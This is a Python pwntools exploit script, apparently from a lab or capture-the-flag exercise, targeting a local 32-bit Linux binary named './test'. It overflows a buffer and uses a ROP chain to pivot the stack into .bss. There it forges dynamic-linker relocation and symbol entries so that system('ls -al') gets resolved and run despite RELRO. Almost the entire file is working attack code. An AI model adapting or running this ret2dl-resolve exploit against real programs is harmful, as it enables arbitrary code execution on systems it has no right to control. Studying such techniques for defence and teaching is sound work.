from pwn import *

context(arch = 'i386', os = 'linux', log_level='debug')
p = process("./test")
elf = p.elf
bss_addr = elf.bss() #0x80497c4 # readelf -S test_ennx_relro  |grep ".bss"
stack_begin = bss_addr + 0x600
any_stack_addr = stack_begin
plt0_addr = 0x8048348 #0x8048368 # readelf -S test_ennx_relro  |grep ".plt"
read_addr = 0x6c3c30
puts_got = elf.got["puts"] #0x80497b8 #maybe cant write ,because relro
write_addr = 0x6c3cb0

pop3_ret = 0x08048576 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp = 0x08048444 # 0x08048464 # pop ebp ; ret
leave_ret = 0x08048346 # 0x08048366 # leave ; ret

dynsym_addr = 0x80481ac # 0x80481cc # readelf -S test_ennx_relro  |grep ".dynsym"
dynstr_addr = 0x804822c # 0x804824c # readelf -S test_ennx_relro  |grep ".dynstr"
relplt_addr = 0x80482e8 # 0x8048308 # readelf -S test_ennx_relro  |grep ".rel.plt"

fake_got = stack_begin + 0xc
fake_rel = stack_begin + 0x14

fake_sym = fake_rel + 0x8 # Elf32_Dyn 8 bytes
align_dynsym = 0x10 - ((fake_sym - dynsym_addr) & 0xF) # Start address must be aligned in 16 bytes
fake_sym += align_dynsym
fake_str = fake_sym + 16 # Elf32_Sym 16 bytes
cmd_addr = fake_str + 7 # system\0
print "fake_rel %x, fake_sym %x, fake_str %x" %(fake_rel, fake_sym, fake_str)
sym_index = (fake_sym - dynsym_addr) / 0x10 # sym = symtab[index],index is multiple of 16
r_info = (sym_index  << 8) | 0x7  #((fake_sym - dynsym_addr) << 4) & ~0xFF | 0x7
print "r_info ==> %x" %(r_info)
#r_info = ((fake_sym - dynsym_addr) << 4) & ~0xFF | 0x7
#print "r_info ==> %x" %(r_info)
reloc_arg = fake_rel - relplt_addr
st_name = fake_str - dynstr_addr
print "st name %x, (fake_str - dynstr_addr) = %x, reloc_arg %x" %(st_name, (fake_str - dynstr_addr), reloc_arg)
f_rel = p32(fake_got) + p32(r_info) # we cant replace other func got, because relro, so we make a dummy one  
f_elf_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

p.recvline()
payload = 'A'* 28 +  p32(read_addr) + p32(pop3_ret) + p32(0) + p32(stack_begin) + p32(100) + \
		p32(pop_ebp) + p32(stack_begin) + p32(leave_ret)
p.sendline(payload)
p.recvline()

#fake bss stack
fake_stack = p32((0x41414141)) #pop ebp;
fake_stack += p32(plt0_addr) # ret; plt0
fake_stack += p32(reloc_arg) # reloc offset
fake_stack += p32(fake_got) # fake got
fake_stack += p32(cmd_addr) # cmd
fake_stack += f_rel # fake Elf_Rel
fake_stack += 'A' * (align_dynsym) # fill align
fake_stack += f_elf_sym # fake Elf_Sym
fake_stack += "system\x00" #system('ls -al')
fake_stack += "ls -al\x00" #cmd
fake_stack += 'A' * (100 - len(fake_stack)) # padding A
p.sendline(fake_stack)
p.recvall()
p.close()


